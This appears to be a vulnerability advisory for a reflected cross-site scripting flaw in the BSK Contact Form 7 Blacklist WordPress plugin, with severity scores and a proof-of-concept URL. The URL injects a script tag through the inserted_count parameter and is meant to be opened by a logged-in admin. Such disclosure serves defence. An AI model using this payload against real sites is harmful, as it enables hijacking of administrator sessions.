BSK Contact Form 7 Blacklist <= 1.0.1 - Reflected Cross-Site Scripting

2023-11-1300:00:00

Enrico Marcolini, Claudio Marchesini

bsk contact form

blacklist

cross-site scripting

exploit

security vulnerability

6.5 Medium

AI Score

Confidence

High

0.0005 Low

EPSS

Percentile

17.1%

JSON

Description The plugin does not sanitise and escape the inserted_count parameter before outputting it back in the page, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Make a logged in admin open the URL below

https://example.com/wp-admin/admin.php?page=bsk-cf7-blacklist&listview=blacklist&view=edit&id=1&list_save=succ&item_action=inserted_count&inserted_count=1+%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E